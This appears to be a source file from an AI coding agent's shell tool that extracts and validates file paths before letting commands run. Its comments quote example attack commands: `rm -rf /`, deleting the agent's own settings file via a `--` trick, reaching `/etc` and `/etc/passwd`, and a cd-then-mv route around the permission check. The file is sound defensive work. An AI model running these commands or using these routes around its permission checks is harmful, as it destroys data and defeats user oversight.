import { getDirectoryForPath } from '../../utils/path.js'
|
| 12 |
+
import { allWorkingDirectories } from '../../utils/permissions/filesystem.js'
|
| 13 |
+
import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
|
| 14 |
+
import { createReadRuleSuggestion } from '../../utils/permissions/PermissionUpdate.js'
|
| 15 |
+
import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
|
| 16 |
+
import {
|
| 17 |
+
expandTilde,
|
| 18 |
+
type FileOperationType,
|
| 19 |
+
formatDirectoryList,
|
| 20 |
+
isDangerousRemovalPath,
|
| 21 |
+
validatePath,
|
| 22 |
+
} from '../../utils/permissions/pathValidation.js'
|
| 23 |
+
import type { BashTool } from './BashTool.js'
|
| 24 |
+
import { stripSafeWrappers } from './bashPermissions.js'
|
| 25 |
+
import { sedCommandIsAllowedByAllowlist } from './sedValidation.js'
|
| 26 |
+
|
| 27 |
+
export type PathCommand =
|
| 28 |
+
| 'cd'
|
| 29 |
+
| 'ls'
|
| 30 |
+
| 'find'
|
| 31 |
+
| 'mkdir'
|
| 32 |
+
| 'touch'
|
| 33 |
+
| 'rm'
|
| 34 |
+
| 'rmdir'
|
| 35 |
+
| 'mv'
|
| 36 |
+
| 'cp'
|
| 37 |
+
| 'cat'
|
| 38 |
+
| 'head'
|
| 39 |
+
| 'tail'
|
| 40 |
+
| 'sort'
|
| 41 |
+
| 'uniq'
|
| 42 |
+
| 'wc'
|
| 43 |
+
| 'cut'
|
| 44 |
+
| 'paste'
|
| 45 |
+
| 'column'
|
| 46 |
+
| 'tr'
|
| 47 |
+
| 'file'
|
| 48 |
+
| 'stat'
|
| 49 |
+
| 'diff'
|
| 50 |
+
| 'awk'
|
| 51 |
+
| 'strings'
|
| 52 |
+
| 'hexdump'
|
| 53 |
+
| 'od'
|
| 54 |
+
| 'base64'
|
| 55 |
+
| 'nl'
|
| 56 |
+
| 'grep'
|
| 57 |
+
| 'rg'
|
| 58 |
+
| 'sed'
|
| 59 |
+
| 'git'
|
| 60 |
+
| 'jq'
|
| 61 |
+
| 'sha256sum'
|
| 62 |
+
| 'sha1sum'
|
| 63 |
+
| 'md5sum'
|
| 64 |
+
|
| 65 |
+
/**
|
| 66 |
+
* Checks if an rm/rmdir command targets dangerous paths that should always
|
| 67 |
+
* require explicit user approval, even if allowlist rules exist.
|
| 68 |
+
* This prevents catastrophic data loss from commands like `rm -rf /`.
|
| 69 |
+
*/
|
| 70 |
+
function checkDangerousRemovalPaths(
|
| 71 |
+
command: 'rm' | 'rmdir',
|
| 72 |
+
args: string[],
|
| 73 |
+
cwd: string,
|
| 74 |
+
): PermissionResult {
|
| 75 |
+
// Extract paths using the existing path extractor
|
| 76 |
+
const extractor = PATH_EXTRACTORS[command]
|
| 77 |
+
const paths = extractor(args)
|
| 78 |
+
|
| 79 |
+
for (const path of paths) {
|
| 80 |
+
// Expand tilde and resolve to absolute path
|
| 81 |
+
// NOTE: We check the path WITHOUT resolving symlinks, because dangerous paths
|
| 82 |
+
// like /tmp should be caught even though /tmp is a symlink to /private/tmp on macOS
|
| 83 |
+
const cleanPath = expandTilde(path.replace(/^['"]|['"]$/g, ''))
|
| 84 |
+
const absolutePath = isAbsolute(cleanPath)
|
| 85 |
+
? cleanPath
|
| 86 |
+
: resolve(cwd, cleanPath)
|
| 87 |
+
|
| 88 |
+
// Check if this is a dangerous path (using the non-symlink-resolved path)
|
| 89 |
+
if (isDangerousRemovalPath(absolutePath)) {
|
| 90 |
+
return {
|
| 91 |
+
behavior: 'ask',
|
| 92 |
+
message: `Dangerous ${command} operation detected: '${absolutePath}'\n\nThis command would remove a critical system directory. This requires explicit approval and cannot be auto-allowed by permission rules.`,
|
| 93 |
+
decisionReason: {
|
| 94 |
+
type: 'other',
|
| 95 |
+
reason: `Dangerous ${command} operation on critical path: ${absolutePath}`,
|
| 96 |
+
},
|
| 97 |
+
// Don't provide suggestions - we don't want to encourage saving dangerous commands
|
| 98 |
+
suggestions: [],
|
| 99 |
+
}
|
| 100 |
+
}
|
| 101 |
+
}
|
| 102 |
+
|
| 103 |
+
// No dangerous paths found
|
| 104 |
+
return {
|
| 105 |
+
behavior: 'passthrough',
|
| 106 |
+
message: `No dangerous removals detected for ${command} command`,
|
| 107 |
+
}
|
| 108 |
+
}
|
| 109 |
+
|
| 110 |
+
/**
|
| 111 |
+
* SECURITY: Extract positional (non-flag) arguments, correctly handling the
|
| 112 |
+
* POSIX `--` end-of-options delimiter.
|
| 113 |
+
*
|
| 114 |
+
* Most commands (rm, cat, touch, etc.) stop parsing options at `--` and treat
|
| 115 |
+
* ALL subsequent arguments as positional, even if they start with `-`. Naive
|
| 116 |
+
* `!arg.startsWith('-')` filtering drops these, causing path validation to be
|
| 117 |
+
* silently skipped for attack payloads like:
|
| 118 |
+
*
|
| 119 |
+
* rm -- -/../.claude/settings.local.json
|
| 120 |
+
*
|
| 121 |
+
* Here `-/../.claude/settings.local.json` starts with `-` so the naive filter
|
| 122 |
+
* drops it, validation sees zero paths, returns passthrough, and the file is
|
| 123 |
+
* deleted without a prompt. With `--` handling, the path IS extracted and
|
| 124 |
+
* validated (blocked by isClaudeConfigFilePath / pathInAllowedWorkingPath).
|
| 125 |
+
*/
|
| 126 |
+
function filterOutFlags(args: string[]): string[] {
|
| 127 |
+
const result: string[] = []
|
| 128 |
+
let afterDoubleDash = false
|
| 129 |
+
for (const arg of args) {
|
| 130 |
+
if (afterDoubleDash) {
|
| 131 |
+
result.push(arg)
|
| 132 |
+
} else if (arg === '--') {
|
| 133 |
+
afterDoubleDash = true
|
| 134 |
+
} else if (!arg?.startsWith('-')) {
|
| 135 |
+
result.push(arg)
|
| 136 |
+
}
|
| 137 |
+
}
|
| 138 |
+
return result
|
| 139 |
+
}
|
| 140 |
+
|
| 141 |
+
// Helper: Parse grep/rg style commands (pattern then paths)
|
| 142 |
+
function parsePatternCommand(
|
| 143 |
+
args: string[],
|
| 144 |
+
flagsWithArgs: Set<string>,
|
| 145 |
+
defaults: string[] = [],
|
| 146 |
+
): string[] {
|
| 147 |
+
const paths: string[] = []
|
| 148 |
+
let patternFound = false
|
| 149 |
+
// SECURITY: Track `--` end-of-options delimiter. After `--`, all args are
|
| 150 |
+
// positional regardless of leading `-`. See filterOutFlags() doc comment.
|
| 151 |
+
let afterDoubleDash = false
|
| 152 |
+
|
| 153 |
+
for (let i = 0; i < args.length; i++) {
|
| 154 |
+
const arg = args[i]
|
| 155 |
+
if (arg === undefined || arg === null) continue
|
| 156 |
+
|
| 157 |
+
if (!afterDoubleDash && arg === '--') {
|
| 158 |
+
afterDoubleDash = true
|
| 159 |
+
continue
|
| 160 |
+
}
|
| 161 |
+
|
| 162 |
+
if (!afterDoubleDash && arg.startsWith('-')) {
|
| 163 |
+
const flag = arg.split('=')[0]
|
| 164 |
+
// Pattern flags mark that we've found the pattern
|
| 165 |
+
if (flag && ['-e', '--regexp', '-f', '--file'].includes(flag)) {
|
| 166 |
+
patternFound = true
|
| 167 |
+
}
|
| 168 |
+
// Skip next arg if flag needs it
|
| 169 |
+
if (flag && flagsWithArgs.has(flag) && !arg.includes('=')) {
|
| 170 |
+
i++
|
| 171 |
+
}
|
| 172 |
+
continue
|
| 173 |
+
}
|
| 174 |
+
|
| 175 |
+
// First non-flag is pattern, rest are paths
|
| 176 |
+
if (!patternFound) {
|
| 177 |
+
patternFound = true
|
| 178 |
+
continue
|
| 179 |
+
}
|
| 180 |
+
paths.push(arg)
|
| 181 |
+
}
|
| 182 |
+
|
| 183 |
+
return paths.length > 0 ? paths : defaults
|
| 184 |
+
}
|
| 185 |
+
|
| 186 |
+
/**
|
| 187 |
+
* Extracts paths from command arguments for different path commands.
|
| 188 |
+
* Each command has specific logic for how it handles paths and flags.
|
| 189 |
+
*/
|
| 190 |
+
export const PATH_EXTRACTORS: Record<
|
| 191 |
+
PathCommand,
|
| 192 |
+
(args: string[]) => string[]
|
| 193 |
+
> = {
|
| 194 |
+
// cd: special case - all args form one path
|
| 195 |
+
cd: args => (args.length === 0 ? [homedir()] : [args.join(' ')]),
|
| 196 |
+
|
| 197 |
+
// ls: filter flags, default to current dir
|
| 198 |
+
ls: args => {
|
| 199 |
+
const paths = filterOutFlags(args)
|
| 200 |
+
return paths.length > 0 ? paths : ['.']
|
| 201 |
+
},
|
| 202 |
+
|
| 203 |
+
// find: collect paths until hitting a real flag, also check path-taking flags
|
| 204 |
+
// SECURITY: `find -- -path` makes `-path` a starting point (not a predicate).
|
| 205 |
+
// GNU find supports `--` to allow search roots starting with `-`. After `--`,
|
| 206 |
+
// we conservatively collect all remaining args as paths to validate. This
|
| 207 |
+
// over-includes predicates like `-name foo`, but find is a read-only op and
|
| 208 |
+
// predicates resolve to paths within cwd (allowed), so no false blocks for
|
| 209 |
+
// legitimate use. The over-inclusion ensures attack paths like
|
| 210 |
+
// `find -- -/../../etc` are caught.
|
| 211 |
+
find: args => {
|
| 212 |
+
const paths: string[] = []
|
| 213 |
+
const pathFlags = new Set([
|
| 214 |
+
'-newer',
|
| 215 |
+
'-anewer',
|
| 216 |
+
'-cnewer',
|
| 217 |
+
'-mnewer',
|
| 218 |
+
'-samefile',
|
| 219 |
+
'-path',
|
| 220 |
+
'-wholename',
|
| 221 |
+
'-ilname',
|
| 222 |
+
'-lname',
|
| 223 |
+
'-ipath',
|
| 224 |
+
'-iwholename',
|
| 225 |
+
])
|
| 226 |
+
const newerPattern = /^-newer[acmBt][acmtB]$/
|
| 227 |
+
let foundNonGlobalFlag = false
|
| 228 |
+
let afterDoubleDash = false
|
| 229 |
+
|
| 230 |
+
for (let i = 0; i < args.length; i++) {
|
| 231 |
+
const arg = args[i]
|
| 232 |
+
if (!arg) continue
|
| 233 |
+
|
| 234 |
+
if (afterDoubleDash) {
|
| 235 |
+
paths.push(arg)
|
| 236 |
+
continue
|
| 237 |
+
}
|
| 238 |
+
|
| 239 |
+
if (arg === '--') {
|
| 240 |
+
afterDoubleDash = true
|
| 241 |
+
continue
|
| 242 |
+
}
|
| 243 |
+
|
| 244 |
+
// Handle flags
|
| 245 |
+
if (arg.startsWith('-')) {
|
| 246 |
+
// Global options don't stop collection
|
| 247 |
+
if (['-H', '-L', '-P'].includes(arg)) continue
|
| 248 |
+
|
| 249 |
+
// Mark that we've seen a non-global flag
|
| 250 |
+
foundNonGlobalFlag = true
|
| 251 |
+
|
| 252 |
+
// Check if this flag takes a path argument
|
| 253 |
+
if (pathFlags.has(arg) || newerPattern.test(arg)) {
|
| 254 |
+
const nextArg = args[i + 1]
|
| 255 |
+
if (nextArg) {
|
| 256 |
+
paths.push(nextArg)
|
| 257 |
+
i++ // Skip the path we just processed
|
| 258 |
+
}
|
| 259 |
+
}
|
| 260 |
+
continue
|
| 261 |
+
}
|
| 262 |
+
|
| 263 |
+
// Only collect non-flag arguments before first non-global flag
|
| 264 |
+
if (!foundNonGlobalFlag) {
|
| 265 |
+
paths.push(arg)
|
| 266 |
+
}
|
| 267 |
+
}
|
| 268 |
+
return paths.length > 0 ? paths : ['.']
|
| 269 |
+
},
|
| 270 |
+
|
| 271 |
+
// All simple commands: just filter out flags
|
| 272 |
+
mkdir: filterOutFlags,
|
| 273 |
+
touch: filterOutFlags,
|
| 274 |
+
rm: filterOutFlags,
|
| 275 |
+
rmdir: filterOutFlags,
|
| 276 |
+
mv: filterOutFlags,
|
| 277 |
+
cp: filterOutFlags,
|
| 278 |
+
cat: filterOutFlags,
|
| 279 |
+
head: filterOutFlags,
|
| 280 |
+
tail: filterOutFlags,
|
| 281 |
+
sort: filterOutFlags,
|
| 282 |
+
uniq: filterOutFlags,
|
| 283 |
+
wc: filterOutFlags,
|
| 284 |
+
cut: filterOutFlags,
|
| 285 |
+
paste: filterOutFlags,
|
| 286 |
+
column: filterOutFlags,
|
| 287 |
+
file: filterOutFlags,
|
| 288 |
+
stat: filterOutFlags,
|
| 289 |
+
diff: filterOutFlags,
|
| 290 |
+
awk: filterOutFlags,
|
| 291 |
+
strings: filterOutFlags,
|
| 292 |
+
hexdump: filterOutFlags,
|
| 293 |
+
od: filterOutFlags,
|
| 294 |
+
base64: filterOutFlags,
|
| 295 |
+
nl: filterOutFlags,
|
| 296 |
+
sha256sum: filterOutFlags,
|
| 297 |
+
sha1sum: filterOutFlags,
|
| 298 |
+
md5sum: filterOutFlags,
|
| 299 |
+
|
| 300 |
+
// tr: special case - skip character sets
|
| 301 |
+
tr: args => {
|
| 302 |
+
const hasDelete = args.some(
|
| 303 |
+
a =>
|
| 304 |
+
a === '-d' ||
|
| 305 |
+
a === '--delete' ||
|
| 306 |
+
(a.startsWith('-') && a.includes('d')),
|
| 307 |
+
)
|
| 308 |
+
const nonFlags = filterOutFlags(args)
|
| 309 |
+
return nonFlags.slice(hasDelete ? 1 : 2) // Skip SET1 or SET1+SET2
|
| 310 |
+
},
|
| 311 |
+
|
| 312 |
+
// grep: pattern then paths, defaults to stdin
|
| 313 |
+
grep: args => {
|
| 314 |
+
const flags = new Set([
|
| 315 |
+
'-e',
|
| 316 |
+
'--regexp',
|
| 317 |
+
'-f',
|
| 318 |
+
'--file',
|
| 319 |
+
'--exclude',
|
| 320 |
+
'--include',
|
| 321 |
+
'--exclude-dir',
|
| 322 |
+
'--include-dir',
|
| 323 |
+
'-m',
|
| 324 |
+
'--max-count',
|
| 325 |
+
'-A',
|
| 326 |
+
'--after-context',
|
| 327 |
+
'-B',
|
| 328 |
+
'--before-context',
|
| 329 |
+
'-C',
|
| 330 |
+
'--context',
|
| 331 |
+
])
|
| 332 |
+
const paths = parsePatternCommand(args, flags)
|
| 333 |
+
// Special: if -r/-R flag present and no paths, use current dir
|
| 334 |
+
if (
|
| 335 |
+
paths.length === 0 &&
|
| 336 |
+
args.some(a => ['-r', '-R', '--recursive'].includes(a))
|
| 337 |
+
) {
|
| 338 |
+
return ['.']
|
| 339 |
+
}
|
| 340 |
+
return paths
|
| 341 |
+
},
|
| 342 |
+
|
| 343 |
+
// rg: pattern then paths, defaults to current dir
|
| 344 |
+
rg: args => {
|
| 345 |
+
const flags = new Set([
|
| 346 |
+
'-e',
|
| 347 |
+
'--regexp',
|
| 348 |
+
'-f',
|
| 349 |
+
'--file',
|
| 350 |
+
'-t',
|
| 351 |
+
'--type',
|
| 352 |
+
'-T',
|
| 353 |
+
'--type-not',
|
| 354 |
+
'-g',
|
| 355 |
+
'--glob',
|
| 356 |
+
'-m',
|
| 357 |
+
'--max-count',
|
| 358 |
+
'--max-depth',
|
| 359 |
+
'-r',
|
| 360 |
+
'--replace',
|
| 361 |
+
'-A',
|
| 362 |
+
'--after-context',
|
| 363 |
+
'-B',
|
| 364 |
+
'--before-context',
|
| 365 |
+
'-C',
|
| 366 |
+
'--context',
|
| 367 |
+
])
|
| 368 |
+
return parsePatternCommand(args, flags, ['.'])
|
| 369 |
+
},
|
| 370 |
+
|
| 371 |
+
// sed: processes files in-place or reads from stdin
|
| 372 |
+
sed: args => {
|
| 373 |
+
const paths: string[] = []
|
| 374 |
+
let skipNext = false
|
| 375 |
+
let scriptFound = false
|
| 376 |
+
// SECURITY: Track `--` end-of-options delimiter. After `--`, all args are
|
| 377 |
+
// positional regardless of leading `-`. See filterOutFlags() doc comment.
|
| 378 |
+
let afterDoubleDash = false
|
| 379 |
+
|
| 380 |
+
for (let i = 0; i < args.length; i++) {
|
| 381 |
+
if (skipNext) {
|
| 382 |
+
skipNext = false
|
| 383 |
+
continue
|
| 384 |
+
}
|
| 385 |
+
|
| 386 |
+
const arg = args[i]
|
| 387 |
+
if (!arg) continue
|
| 388 |
+
|
| 389 |
+
if (!afterDoubleDash && arg === '--') {
|
| 390 |
+
afterDoubleDash = true
|
| 391 |
+
continue
|
| 392 |
+
}
|
| 393 |
+
|
| 394 |
+
// Handle flags (only before `--`)
|
| 395 |
+
if (!afterDoubleDash && arg.startsWith('-')) {
|
| 396 |
+
// -f flag: next arg is a script file that needs validation
|
| 397 |
+
if (['-f', '--file'].includes(arg)) {
|
| 398 |
+
const scriptFile = args[i + 1]
|
| 399 |
+
if (scriptFile) {
|
| 400 |
+
paths.push(scriptFile) // Add script file to paths for validation
|
| 401 |
+
skipNext = true
|
| 402 |
+
}
|
| 403 |
+
scriptFound = true
|
| 404 |
+
}
|
| 405 |
+
// -e flag: next arg is expression, not a file
|
| 406 |
+
else if (['-e', '--expression'].includes(arg)) {
|
| 407 |
+
skipNext = true
|
| 408 |
+
scriptFound = true
|
| 409 |
+
}
|
| 410 |
+
// Combined flags like -ie or -nf
|
| 411 |
+
else if (arg.includes('e') || arg.includes('f')) {
|
| 412 |
+
scriptFound = true
|
| 413 |
+
}
|
| 414 |
+
continue
|
| 415 |
+
}
|
| 416 |
+
|
| 417 |
+
// First non-flag is the script (if not already found via -e/-f)
|
| 418 |
+
if (!scriptFound) {
|
| 419 |
+
scriptFound = true
|
| 420 |
+
continue
|
| 421 |
+
}
|
| 422 |
+
|
| 423 |
+
// Rest are file paths
|
| 424 |
+
paths.push(arg)
|
| 425 |
+
}
|
| 426 |
+
|
| 427 |
+
return paths
|
| 428 |
+
},
|
| 429 |
+
|
| 430 |
+
// jq: filter then file paths (similar to grep)
|
| 431 |
+
// The jq command structure is: jq [flags] filter [files...]
|
| 432 |
+
// If no files are provided, jq reads from stdin
|
| 433 |
+
jq: args => {
|
| 434 |
+
const paths: string[] = []
|
| 435 |
+
const flagsWithArgs = new Set([
|
| 436 |
+
'-e',
|
| 437 |
+
'--expression',
|
| 438 |
+
'-f',
|
| 439 |
+
'--from-file',
|
| 440 |
+
'--arg',
|
| 441 |
+
'--argjson',
|
| 442 |
+
'--slurpfile',
|
| 443 |
+
'--rawfile',
|
| 444 |
+
'--args',
|
| 445 |
+
'--jsonargs',
|
| 446 |
+
'-L',
|
| 447 |
+
'--library-path',
|
| 448 |
+
'--indent',
|
| 449 |
+
'--tab',
|
| 450 |
+
])
|
| 451 |
+
let filterFound = false
|
| 452 |
+
// SECURITY: Track `--` end-of-options delimiter. After `--`, all args are
|
| 453 |
+
// positional regardless of leading `-`. See filterOutFlags() doc comment.
|
| 454 |
+
let afterDoubleDash = false
|
| 455 |
+
|
| 456 |
+
for (let i = 0; i < args.length; i++) {
|
| 457 |
+
const arg = args[i]
|
| 458 |
+
if (arg === undefined || arg === null) continue
|
| 459 |
+
|
| 460 |
+
if (!afterDoubleDash && arg === '--') {
|
| 461 |
+
afterDoubleDash = true
|
| 462 |
+
continue
|
| 463 |
+
}
|
| 464 |
+
|
| 465 |
+
if (!afterDoubleDash && arg.startsWith('-')) {
|
| 466 |
+
const flag = arg.split('=')[0]
|
| 467 |
+
// Pattern flags mark that we've found the filter
|
| 468 |
+
if (flag && ['-e', '--expression'].includes(flag)) {
|
| 469 |
+
filterFound = true
|
| 470 |
+
}
|
| 471 |
+
// Skip next arg if flag needs it
|
| 472 |
+
if (flag && flagsWithArgs.has(flag) && !arg.includes('=')) {
|
| 473 |
+
i++
|
| 474 |
+
}
|
| 475 |
+
continue
|
| 476 |
+
}
|
| 477 |
+
|
| 478 |
+
// First non-flag is filter, rest are file paths
|
| 479 |
+
if (!filterFound) {
|
| 480 |
+
filterFound = true
|
| 481 |
+
continue
|
| 482 |
+
}
|
| 483 |
+
paths.push(arg)
|
| 484 |
+
}
|
| 485 |
+
|
| 486 |
+
// If no file paths, jq reads from stdin (no paths to validate)
|
| 487 |
+
return paths
|
| 488 |
+
},
|
| 489 |
+
|
| 490 |
+
// git: handle subcommands that access arbitrary files outside the repository
|
| 491 |
+
git: args => {
|
| 492 |
+
// git diff --no-index is special - it explicitly compares files outside git's control
|
| 493 |
+
// This flag allows git diff to compare any two files on the filesystem, not just
|
| 494 |
+
// files within the repository, which is why it needs path validation
|
| 495 |
+
if (args.length >= 1 && args[0] === 'diff') {
|
| 496 |
+
if (args.includes('--no-index')) {
|
| 497 |
+
// SECURITY: git diff --no-index accepts `--` before file paths.
|
| 498 |
+
// Use filterOutFlags which handles `--` correctly instead of naive
|
| 499 |
+
// startsWith('-') filtering, to catch paths like `-/../etc/passwd`.
|
| 500 |
+
const filePaths = filterOutFlags(args.slice(1))
|
| 501 |
+
return filePaths.slice(0, 2) // git diff --no-index expects exactly 2 paths
|
| 502 |
+
}
|
| 503 |
+
}
|
| 504 |
+
// Other git commands (add, rm, mv, show, etc.) operate within the repository context
|
| 505 |
+
// and are already constrained by git's own security model, so they don't need
|
| 506 |
+
// additional path validation
|
| 507 |
+
return []
|
| 508 |
+
},
|
| 509 |
+
}
|
| 510 |
+
|
| 511 |
+
const SUPPORTED_PATH_COMMANDS = Object.keys(PATH_EXTRACTORS) as PathCommand[]
|
| 512 |
+
|
| 513 |
+
const ACTION_VERBS: Record<PathCommand, string> = {
|
| 514 |
+
cd: 'change directories to',
|
| 515 |
+
ls: 'list files in',
|
| 516 |
+
find: 'search files in',
|
| 517 |
+
mkdir: 'create directories in',
|
| 518 |
+
touch: 'create or modify files in',
|
| 519 |
+
rm: 'remove files from',
|
| 520 |
+
rmdir: 'remove directories from',
|
| 521 |
+
mv: 'move files to/from',
|
| 522 |
+
cp: 'copy files to/from',
|
| 523 |
+
cat: 'concatenate files from',
|
| 524 |
+
head: 'read the beginning of files from',
|
| 525 |
+
tail: 'read the end of files from',
|
| 526 |
+
sort: 'sort contents of files from',
|
| 527 |
+
uniq: 'filter duplicate lines from files in',
|
| 528 |
+
wc: 'count lines/words/bytes in files from',
|
| 529 |
+
cut: 'extract columns from files in',
|
| 530 |
+
paste: 'merge files from',
|
| 531 |
+
column: 'format files from',
|
| 532 |
+
tr: 'transform text from files in',
|
| 533 |
+
file: 'examine file types in',
|
| 534 |
+
stat: 'read file stats from',
|
| 535 |
+
diff: 'compare files from',
|
| 536 |
+
awk: 'process text from files in',
|
| 537 |
+
strings: 'extract strings from files in',
|
| 538 |
+
hexdump: 'display hex dump of files from',
|
| 539 |
+
od: 'display octal dump of files from',
|
| 540 |
+
base64: 'encode/decode files from',
|
| 541 |
+
nl: 'number lines in files from',
|
| 542 |
+
grep: 'search for patterns in files from',
|
| 543 |
+
rg: 'search for patterns in files from',
|
| 544 |
+
sed: 'edit files in',
|
| 545 |
+
git: 'access files with git from',
|
| 546 |
+
jq: 'process JSON from files in',
|
| 547 |
+
sha256sum: 'compute SHA-256 checksums for files in',
|
| 548 |
+
sha1sum: 'compute SHA-1 checksums for files in',
|
| 549 |
+
md5sum: 'compute MD5 checksums for files in',
|
| 550 |
+
}
|
| 551 |
+
|
| 552 |
+
export const COMMAND_OPERATION_TYPE: Record<PathCommand, FileOperationType> = {
|
| 553 |
+
cd: 'read',
|
| 554 |
+
ls: 'read',
|
| 555 |
+
find: 'read',
|
| 556 |
+
mkdir: 'create',
|
| 557 |
+
touch: 'create',
|
| 558 |
+
rm: 'write',
|
| 559 |
+
rmdir: 'write',
|
| 560 |
+
mv: 'write',
|
| 561 |
+
cp: 'write',
|
| 562 |
+
cat: 'read',
|
| 563 |
+
head: 'read',
|
| 564 |
+
tail: 'read',
|
| 565 |
+
sort: 'read',
|
| 566 |
+
uniq: 'read',
|
| 567 |
+
wc: 'read',
|
| 568 |
+
cut: 'read',
|
| 569 |
+
paste: 'read',
|
| 570 |
+
column: 'read',
|
| 571 |
+
tr: 'read',
|
| 572 |
+
file: 'read',
|
| 573 |
+
stat: 'read',
|
| 574 |
+
diff: 'read',
|
| 575 |
+
awk: 'read',
|
| 576 |
+
strings: 'read',
|
| 577 |
+
hexdump: 'read',
|
| 578 |
+
od: 'read',
|
| 579 |
+
base64: 'read',
|
| 580 |
+
nl: 'read',
|
| 581 |
+
grep: 'read',
|
| 582 |
+
rg: 'read',
|
| 583 |
+
sed: 'write',
|
| 584 |
+
git: 'read',
|
| 585 |
+
jq: 'read',
|
| 586 |
+
sha256sum: 'read',
|
| 587 |
+
sha1sum: 'read',
|
| 588 |
+
md5sum: 'read',
|
| 589 |
+
}
|
| 590 |
+
|
| 591 |
+
/**
|
| 592 |
+
* Command-specific validators that run before path validation.
|
| 593 |
+
* Returns true if the command is valid, false if it should be rejected.
|
| 594 |
+
* Used to block commands with flags that could bypass path validation.
|
| 595 |
+
*/
|
| 596 |
+
const COMMAND_VALIDATOR: Partial<
|
| 597 |
+
Record<PathCommand, (args: string[]) => boolean>
|
| 598 |
+
> = {
|
| 599 |
+
mv: (args: string[]) => !args.some(arg => arg?.startsWith('-')),
|
| 600 |
+
cp: (args: string[]) => !args.some(arg => arg?.startsWith('-')),
|
| 601 |
+
}
|
| 602 |
+
|
| 603 |
+
function validateCommandPaths(
|
| 604 |
+
command: PathCommand,
|
| 605 |
+
args: string[],
|
| 606 |
+
cwd: string,
|
| 607 |
+
toolPermissionContext: ToolPermissionContext,
|
| 608 |
+
compoundCommandHasCd?: boolean,
|
| 609 |
+
operationTypeOverride?: FileOperationType,
|
| 610 |
+
): PermissionResult {
|
| 611 |
+
const extractor = PATH_EXTRACTORS[command]
|
| 612 |
+
const paths = extractor(args)
|
| 613 |
+
const operationType = operationTypeOverride ?? COMMAND_OPERATION_TYPE[command]
|
| 614 |
+
|
| 615 |
+
// SECURITY: Check command-specific validators (e.g., to block flags that could bypass path validation)
|
| 616 |
+
// Some commands like mv/cp have flags (--target-directory=PATH) that can bypass path extraction,
|
| 617 |
+
// so we block ALL flags for these commands to ensure security.
|
| 618 |
+
const validator = COMMAND_VALIDATOR[command]
|
| 619 |
+
if (validator && !validator(args)) {
|
| 620 |
+
return {
|
| 621 |
+
behavior: 'ask',
|
| 622 |
+
message: `${command} with flags requires manual approval to ensure path safety. For security, Claude Code cannot automatically validate ${command} commands that use flags, as some flags like --target-directory=PATH can bypass path validation.`,
|
| 623 |
+
decisionReason: {
|
| 624 |
+
type: 'other',
|
| 625 |
+
reason: `${command} command with flags requires manual approval`,
|
| 626 |
+
},
|
| 627 |
+
}
|
| 628 |
+
}
|
| 629 |
+
|
| 630 |
+
// SECURITY: Block write operations in compound commands containing 'cd'
|
| 631 |
+
// This prevents bypassing path safety checks via directory changes before operations.
|
| 632 |
+
// Example attack: cd .claude/ && mv test.txt settings.json
|
| 633 |
+
// This would bypass the check for .claude/settings.json because paths are resolved
|
| 634 |
+
// relative to the original CWD, not accounting for the cd's effect.
|
| 635 |
+
//
|
| 636 |
+
// ALTERNATIVE APPROACH: Instead of blocking all writes with cd, we could track the
|
| 637 |
+
// effective CWD through the command chain (e.g., after "cd .claude/", subsequent
|
| 638 |
+
// commands would be validated with CWD=".claude/"). This would be more permissive
|
| 639 |
+
// but requires careful handling of:
|
| 640 |
+
// - Relative paths (cd ../foo)
|
| 641 |
+
// - Special cd targets (cd ~, cd -, cd with no args)
|
| 642 |
+
// - Multiple cd commands in sequence
|
| 643 |
+
// - Error cases where cd target cannot be determined
|
| 644 |
+
// For now, we take the conservative approach of requiring manual approval.
|
| 645 |
+
if (compoundCommandHasCd && operationType !== 'read') {
|
| 646 |
+
return {
|
| 647 |
+
behavior: 'ask',
|
| 648 |
+
message: `Commands that change directories and perform write operations require explicit approval to ensure paths are evaluated correctly. For security, Claude Code cannot automatically determine the final working directory when 'cd' is used in compound commands.`,
|
| 649 |
+
decisionReason: {
|
| 650 |
+
type: 'other',
|
| 651 |
+
reason:
|
| 652 |
+
'Compound command contains cd with write operation - manual approval required to prevent path resolution bypass',
|
| 653 |
+
},
|
| 654 |
+
}
|
| 655 |
+
}
|
| 656 |
+
|
| 657 |
+
for (const path of paths) {
|
| 658 |
+
const { allowed, resolvedPath, decisionReason } = validatePath(
|
| 659 |
+
path,
|
| 660 |
+
cwd,
|
| 661 |
+
toolPermissionContext,
|
| 662 |
+
operationType,
|
| 663 |
+
)
|
| 664 |
+
|
| 665 |
+
if (!allowed) {
|
| 666 |
+
const workingDirs = Array.from(
|
| 667 |
+
allWorkingDirectories(toolPermissionContext),
|
| 668 |
+
)
|
| 669 |
+
const dirListStr = formatDirectoryList(workingDirs)
|
| 670 |
+
|
| 671 |
+
// Use security check's custom reason if available (type: 'other' or 'safetyCheck')
|
| 672 |
+
// Otherwise use the standard "was blocked" message
|
| 673 |
+
const message =
|
| 674 |
+
decisionReason?.type === 'other' ||
|
| 675 |
+
decisionReason?.type === 'safetyCheck'
|
| 676 |
+
? decisionReason.reason
|
| 677 |
+
: `${command} in '${resolvedPath}' was blocked. For security, Claude Code may only ${ACTION_VERBS[command]} the allowed working directories for this session: ${dirListStr}.`
|
| 678 |
+
|
| 679 |
+
if (decisionReason?.type === 'rule') {
|
| 680 |
+
return {
|
| 681 |
+
behavior: 'deny',
|
| 682 |
+
message,
|
| 683 |
+
decisionReason,
|
| 684 |
+
}
|
| 685 |
+
}
|
| 686 |
+
|
| 687 |
+
return {
|
| 688 |
+
behavior: 'ask',
|
| 689 |
+
message,
|
| 690 |
+
blockedPath: resolvedPath,
|
| 691 |
+
decisionReason,
|
| 692 |
+
}
|
| 693 |
+
}
|
| 694 |
+
}
|
| 695 |
+
|
| 696 |
+
// All paths are valid - return passthrough
|
| 697 |
+
return {
|
| 698 |
+
behavior: 'passthrough',
|
| 699 |
+
message: `Path validation passed for ${command} command`,
|
| 700 |
+
}
|
| 701 |
+
}
|
| 702 |
+
|
| 703 |
+
export function createPathChecker(
|
| 704 |
+
command: PathCommand,
|
| 705 |
+
operationTypeOverride?: FileOperationType,
|
| 706 |
+
) {
|
| 707 |
+
return (
|
| 708 |
+
args: string[],
|
| 709 |
+
cwd: string,
|
| 710 |
+
context: ToolPermissionContext,
|
| 711 |
+
compoundCommandHasCd?: boolean,
|
| 712 |
+
): PermissionResult => {
|
| 713 |
+
// First check normal path validation (which includes explicit deny rules)
|
| 714 |
+
const result = validateCommandPaths(
|
| 715 |
+
command,
|
| 716 |
+
args,
|
| 717 |
+
cwd,
|
| 718 |
+
context,
